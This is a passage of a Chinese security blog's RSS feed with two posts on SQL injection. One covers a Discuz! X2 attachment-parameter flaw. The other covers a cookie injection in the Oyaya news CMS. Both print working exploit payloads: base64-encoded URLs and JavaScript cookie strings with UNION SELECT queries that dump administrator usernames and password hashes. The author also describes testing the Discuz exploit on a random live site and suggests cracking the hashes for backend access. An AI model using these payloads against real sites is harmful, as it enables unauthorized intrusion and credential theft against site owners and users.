            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4805" title="Permanent Link to 打造安全博客之——避免WordPress暴路径" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4805</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年04月28日  //  <a href="http://ihacklog.com/php/drupal/drupal-code-highlight-module-geshifilter-usage.html" title="drupal代码高亮模块geshifilter的安装和使用">drupal代码高亮模块geshifilter的安装和使用</a> (1)</li><li>2009年05月24日  //  <a href="http://ihacklog.com/memory/wangyouzaochudaibiaocaonimaxinzitu.html" title="网友造出代表“草泥马”新字(图)">网友造出代表“草泥马”新字(图)</a> (3)</li><li>2011年05月29日  //  <a href="http://ihacklog.com/software/use-imdisable-switch-fcitx-input-method-in-vim.html" title="利用imdisable实现Fcitx与VIM模式切换">利用imdisable实现Fcitx与VIM模式切换</a> (0)</li><li>2009年12月4日  //  <a href="http://ihacklog.com/net/8-8-8-8-a-dns-number-for-faster-browsing.html" title="8.8.8.8">8.8.8.8</a> (7)</li><li>2012年01月7日  //  <a href="http://ihacklog.com/memory/hacklog/%e8%bf%99%e4%b8%a4%e5%a4%a9%e5%9c%a8%e8%b0%83%e8%af%95%e8%af%84%e8%ae%ba%e4%bb%a3%e7%a0%81%ef%bc%8c%e6%8a%8a%e5%90%84%e4%bd%8d%e6%8c%a1%e5%9c%a8%e9%97%a8%e5%a4%96%e4%ba%86%ef%bc%8c%e4%b8%8d%e5%a5%bd.html" title="这两天在调试评论代码，把各位挡在门外了，不好意思~~">这两天在调试评论代码，把各位挡在门外了，不好意思~~</a> (2)</li><li>2008年12月31日  //  <a href="http://ihacklog.com/php/skills/%e7%a9%ba%e5%ad%97%e7%ac%a6%e4%b8%b2%ef%bc%8c0%e5%92%8cnull%e7%9a%84%e5%85%b3%e7%b3%bb.html" title="空字符串(”)，0和NULL的关系">空字符串(”)，0和NULL的关系</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/avoid-wordpress-path-exposed.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Discuz! X2 SQL注射漏洞 (20110629)</title>
		<link>http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html</link>
		<comments>http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html#comments</comments>
		<pubDate>Thu, 30 Jun 2011 13:29:00 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[安全优化]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[X2]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=4582</guid>
		<description><![CDATA[来自岁月联盟猪猪的博客： http://blog.syue.com/post/148.html 详细： if(!defined(&#8216;IN_DISCUZ&#8217;)) { exit(&#8216;Access Denied&#8217;); } define(&#8216;NOROBOT&#8217;, TRUE); @list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explod...]]></description>
			<content:encoded><![CDATA[<p>来自岁月联盟猪猪的博客： <a target="_blank" href="http://www.ihacklog.com/l.php?url=blog.syue.com/post/148.html">http://blog.syue.com/post/148.html</a></p>
<blockquote><p>详细：<br />
if(!defined(&#8216;IN_DISCUZ&#8217;)) {<br />
exit(&#8216;Access Denied&#8217;);<br />
}<br />
define(&#8216;NOROBOT&#8217;, TRUE);<br />
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode(&#8216;|&#8217;, base64_decode($_G['gp_aid']));</p>
<p>if(!empty($_G['gp_findpost']) &#038;&#038; ($attach = DB::fetch_first(“SELECT pid, tid FROM “.DB::table(&#8216;forum_attachment&#8217;).” WHERE aid=&#8217;$_G[gp_aid]&#8216;”))) {<br />
dheader(&#8216;location: forum.php?mod=redirect&#038;goto=findpost&#038;pid=&#8217;.$attach['pid'].&#8217;&#038;ptid=&#8217;.$attach['tid']);<br />
}</p>
<p>变量aid 直接base64_decode 后传入 SQL查询，造成注射漏洞。。。</p>
<p>http://www.xxxx.net/forum.php?mod=attachment&#038;findpost=ss&#038;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D</p>
<p>转向后网址</p>
<p>http://www.xxxx.net/forum.php?mod=redirect&#038;goto=findpost&#038;pid=1&#038;ptid=pre_common_admincp_member</p>
<p>暴出表名 pre_common_admincp_member</p>
<p>实际查询为：</p>
<p>$x=”1&#8242; and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like &#8216;%_member|x|x|x|x”;<br />
//die (urlencode(base64_encode($x)));</p></blockquote>
<p>在dz官网论坛看到有人已经发了exp:</p>
<blockquote><p>Discuz! X2.0 SQL注入漏洞 EXP</p>
<p>DZ2.0直接暴管理账号密码（默认前缀的情况下）<br />
/forum.php?mod=attachment&#038;findpost=ss&#038;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V<br />
sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd<br />
29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGl<br />
rZSAnYWRtaW58eHx5%3D<br />
base64解码<br />
1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password)<br />
from pre_common_member where  username like ‘admin|x|y<br />
如果不是默认前缀<br />
暴前缀EXP<br />
/forum.php?mod=attachment&#038;findpost=ss&#038;aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V<br />
sZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR<br />
VMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1<br />
FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D
</p></blockquote>
<p>随便拿了个站测试一下，管理员的用户名和密码hash果断暴出：<br />
<a href="http://static.ihacklog.com/wp-files/2011/06/dz-x2-sql-injection-exp-admin-pass.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/06/dz-x2-sql-injection-exp-admin-pass-550x272.png" alt="" title="dz-x2-sql-injection-exp-admin-pass" width="550" height="272" class="alignnone size-medium wp-image-4584" /> </a></p>
<p>dz官方已经发布:<a target="_blank" href="http://www.ihacklog.com/l.php?url=www.discuz.net/forum.phporz__mod=redirect&#038;goto=findpost&#038;ptid=2168918&#038;pid=19978211">补丁</a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4582";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4582" title="Permanent Link to Discuz! X2 SQL注射漏洞 (20110629)" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4582</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年09月22日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/codecolorer-v0-9-9-js-loading-bug.html" title="CodeColorer v0.9.9 一处JS加载BUG">CodeColorer v0.9.9 一处JS加载BUG</a> (3)</li><li>2011年08月20日  //  <a href="http://ihacklog.com/php/habari/fixed-a-syntax-check-bug-in-habari.html" title="修正Habari检查PHP文件语法的一个BUG">修正Habari检查PHP文件语法的一个BUG</a> (1)</li><li>2010年04月24日  //  <a href="http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html" title="为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]">为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]</a> (6)</li><li>2010年04月17日  //  <a href="http://ihacklog.com/php/wordpress/plugins/add-wp-shortcode-to-enable-media-playing.html" title="不用audio-player插件也播放mp3">不用audio-player插件也播放mp3</a> (19)</li><li>2010年03月3日  //  <a href="http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html" title="discuz论坛中发帖之音乐自动播放方法">discuz论坛中发帖之音乐自动播放方法</a> (3)</li><li>2009年12月2日  //  <a href="http://ihacklog.com/software/cool_software_share/discuz-1-0-found.html" title="深夜，在DZ官网找到了传说中的discuz1.0">深夜，在DZ官网找到了传说中的discuz1.0</a> (8)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>凹丫丫网站管理系统cookie注射</title>
		<link>http://ihacklog.com/security_optimization/oyaya-cookie-injection.html</link>
		<comments>http://ihacklog.com/security_optimization/oyaya-cookie-injection.html#comments</comments>
		<pubDate>Sat, 02 Apr 2011 11:55:49 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://www.ihacklog.com/?p=4333</guid>
		<description><![CDATA[话说这个BUG已经是很久以前的了，写此文只是MARK一下吧。各位看观见笑了。 这里说的是“凹丫丫新闻发布系统V3.112绿色简洁版”。 根目录下 search.asp 文件： 123456789101112131415161718192021222324&#60;!--#include file=&#34;conn.asp&#34;--&#62; &#160; &#160; &#160;&#60; % key=request&#40;&#34;key&#34;&#41; otype=request&#40...]]></description>
			<content:encoded><![CDATA[<p>话说这个BUG已经是很久以前的了，写此文只是MARK一下吧。各位看观见笑了。 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_razz.gif' alt=':razz:' class='wp-smiley' /><br />
这里说的是“凹丫丫新闻发布系统V3.112绿色简洁版”。<br />
根目录下 search.asp 文件：</p>
<div class="codecolorer-container asp default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br /></div></td><td><div class="asp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #006600; font-weight: bold;">&lt;!</span>--#include <span style="color: #990099; font-weight: bold;">file</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;conn.asp&quot;</span>--<span style="color: #006600; font-weight: bold;">&gt;</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #006600; font-weight: bold;">&lt;</span> <span style="color: #006600; font-weight: bold;">%</span> <br />
key<span style="color: #006600; font-weight: bold;">=</span><span style="color: #990099; font-weight: bold;">request</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;key&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><br />
otype<span style="color: #006600; font-weight: bold;">=</span><span style="color: #990099; font-weight: bold;">request</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;otype&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><br />
<span style="color: #990099; font-weight: bold;">if</span> key<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;&quot;</span> <span style="color: #990099; font-weight: bold;">then</span><br />
&nbsp; &nbsp;<span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">write</span> <span style="color: #cc0000;">&quot;&lt;script&gt;alert('查找字符串不能为空！');history.back();&quot;</span><br />
&nbsp; &nbsp;<span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #990099; font-weight: bold;">end</span><br />
<span style="color: #990099; font-weight: bold;">end</span> i<br />
<br />
<span style="color: #008000;">'......这里省略若干无关HTML代码等</span><br />
<br />
page<span style="color: #006600; font-weight: bold;">=</span><span style="color: #990099; font-weight: bold;">clng</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">request</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;page&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span>&nbsp; <br />
<span style="color: #990099; font-weight: bold;">set</span> rs<span style="color: #006600; font-weight: bold;">=</span> <span style="color: #990099; font-weight: bold;">server</span>.<span style="color: #330066;">createobject</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;adodb.recordset&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><br />
<span style="color: #990099; font-weight: bold;">if</span> otype<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;title&quot;</span> <span style="color: #990099; font-weight: bold;">then</span><br />
sql<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;select * from news where title like '%&quot;</span><span style="color: #006600; font-weight: bold;">&amp;</span> key <span style="color: #006600; font-weight: bold;">&amp;</span><span style="color: #cc0000;">&quot;%' order by id desc&quot;</span><br />
<span style="color: #990099; font-weight: bold;">elseif</span> otype<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;msg&quot;</span> <span style="color: #990099; font-weight: bold;">then</span><br />
sql<span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;select * from news where content like '%&quot;</span><span style="color: #006600; font-weight: bold;">&amp;</span> key <span style="color: #006600; font-weight: bold;">&amp;</span><span style="color: #cc0000;">&quot;%' order by id desc&quot;</span><br />
<span style="color: #990099; font-weight: bold;">else</span><br />
<span style="color: #990099; font-weight: bold;">end</span> <span style="color: #990099; font-weight: bold;">if</span><br />
rs.<span style="color: #330066;">open</span> sql,conn,<span style="color: #800000;">1</span>,<span style="color: #800000;">1</span><br />
<span style="color: #990099; font-weight: bold;">if</span> rs.<span style="color: #0000ff; font-weight: bold;">eof</span> <span style="color: #0000ff; font-weight: bold;">and</span> rs.<span style="color: #0000ff; font-weight: bold;">bof</span> <span style="color: #990099; font-weight: bold;">then</span><br />
<span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">write</span> <span style="color: #cc0000;">&quot;&lt;tr bgcolor='#ffffff'&gt;&lt;td colspan='4'&gt;&lt;p align='center'&gt;对不起，没有找到相关新闻&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&quot;</span><br />
<span style="color: #990099; font-weight: bold;">else</span><br />
<span style="color: #000000; font-weight: bold;">%&gt;</span></div></td></tr></tbody></table></div>
<p>可以看到页面中采用的是request方式来获取key的，asp里面的request工作方式和PHP里的是差不多的，都是可以获取get/post/cookie值的，查看其conn.asp,该文件包含了这样一句：</p>
<div class="codecolorer-container asp default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="asp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #006600; font-weight: bold;">&lt;!</span>--#Include <span style="color: #990099; font-weight: bold;">File</span><span style="color: #006600; font-weight: bold;">=</span><span style="color: #cc0000;">&quot;jsinc/safe.asp&quot;</span>--<span style="color: #006600; font-weight: bold;">&gt;</span></div></td></tr></tbody></table></div>
<p>而这个safe.asp呢？其实并不safe .<br />
里面仅仅对querystring作了判断，发现有select 等SQL关键字就：</p>
<div class="codecolorer-container asp default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="asp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #990099; font-weight: bold;">Response</span>.<span style="color: #330066;">Write</span> <span style="color: #cc0000;">&quot;&lt;script language='javascript'&gt;alert('对不起，不可以包含非法字符！');location='http://www.xxx.net';&lt;/script&gt;&quot;</span> <br />
<span style="color: #990099; font-weight: bold;">Response</span>.<span style="color: #990099; font-weight: bold;">end</span></div></td></tr></tbody></table></div>
<p>这样，用post或者cookie注入都是可行的。用cookie注入更方便喽。<br />
我们就选择 title 来注入吧，看它代码中的SQL：</p>
<div class="codecolorer-container mysql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="mysql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://search.mysql.com/search?site=refman-%35%31&amp;q=SELECT"><span style="color: #990099; font-weight: bold;">select</span></a> <span style="color: #CC0099;">*</span> <a href="http://search.mysql.com/search?site=refman-%35%31&amp;q=FROM"><span style="color: #990099; font-weight: bold;">from</span></a> news <a href="http://search.mysql.com/search?site=refman-%35%31&amp;q=WHERE"><span style="color: #990099; font-weight: bold;">where</span></a> title <a href="http://dev.mysql.com/doc/refman/%35%2E%31/en/non-typed-operators.html"><span style="color: #CC0099; font-weight: bold;">like</span></a> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span> key <span style="color: #008080; font-weight: bold;">%</span>'</span> <a href="http://search.mysql.com/search?site=refman-%35%31&amp;q=ORDER%20BY"><span style="color: #990099; font-weight: bold;">order by</span></a> id <a href="http://search.mysql.com/search?site=refman-%35%31&amp;q=DESC"><span style="color: #990099; font-weight: bold;">desc</span></a></div></td></tr></tbody></table></div>
<p>我们构造一个特殊的查询值，并用js改写cookie：<br />
我们先来试探一下我们的猜想是不是正确的：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #006600; font-style: italic;">//从首页可以看出有文章标题包含 &nbsp;111 的，我们就用 111 来试下能不能搜索到这篇文章</span><br />
javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;key=111&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #006600; font-style: italic;">//然后访问： http://111.xxx.xxx.xxx:81/search.asp?otype=title &nbsp;，发现文章被成功搜索到了</span><br />
javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;key=&quot;</span><span style="color: #339933;">+</span>escape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;111%25' or title like '%25111&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #006600; font-style: italic;">//然后访问： http://111.xxx.xxx.xxx:81/search.asp?otype=title &nbsp;，发现文章同样被成功搜索到了</span><br />
javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;key=&quot;</span><span style="color: #339933;">+</span>escape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;111%25' and title like '%xxoo&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #006600; font-style: italic;">//然后访问： http://111.xxx.xxx.xxx:81/search.asp?otype=title &nbsp;，发现页面提示文章未找到</span></div></td></tr></tbody></table></div>
<p>好了，已经证实注入漏洞的存在了，开始行动，先判断出 news 表的字段长度，这里就不说了，判断出来是 14 。<br />
开始union 注入：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;key=&quot;</span><span style="color: #339933;">+</span>escape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;111%25' and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like '%25super&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>再访问： http://111.xxx.xxx.xxx:81/search.asp?otype=title ，发现什么啦？<br />
用户名和密码的md5 值出来了，然后拿去MD5 破解的网上一跑，如果幸运的话，OK， 后台权限就拿到了。<br />
<a href="http://static.ihacklog.com/wp-files/2011/04/oyaya_union_injection.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/04/oyaya_union_injection-550x325.png" alt="" title="oyaya_union_injection" width="550" height="325" class="alignnone size-medium wp-image-4335" /> </a><br />
再说一下那个注入语句，这里用的是union 查询，联合查询只要求查询的表与前面查询的表的字段数目相同，并不要求数据类型也相同。查询之后，它会将查询结果合并，因此这里我们不想看到前面的查询结果，就加了条 and 1=2 ,很明显，这不会返回任何东西的，而这正是我们需要的。我们要的只是后面那条查询的结果，而且让它在原来显示正常结果的相应地方显示。仔细看下，就会发现，程序中原来的SQL经过精心构造的“关键字”(<strong>111%&#8217; and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like &#8216;% super</strong>)，已经变成了：</p>
<div class="codecolorer-container sql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> news <span style="color: #993333; font-weight: bold;">WHERE</span> title <span style="color: #993333; font-weight: bold;">LIKE</span> <span style="color: #ff0000;">'% 111%'</span> <span style="color: #993333; font-weight: bold;">AND</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">2</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> admin<span style="color: #66cc66;">,</span>password<span style="color: #66cc66;">,</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">4</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">5</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">6</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">7</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">8</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">9</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">11</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">12</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">13</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">14</span> <span style="color: #993333; font-weight: bold;">FROM</span> admin <span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">AND</span> aleave <span style="color: #993333; font-weight: bold;">LIKE</span> <span style="color: #ff0000;">'% super %'</span> <span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> id <span style="color: #993333; font-weight: bold;">DESC</span></div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4333";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4333" title="Permanent Link to 凹丫丫网站管理系统cookie注射" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4333</a>
            </p>
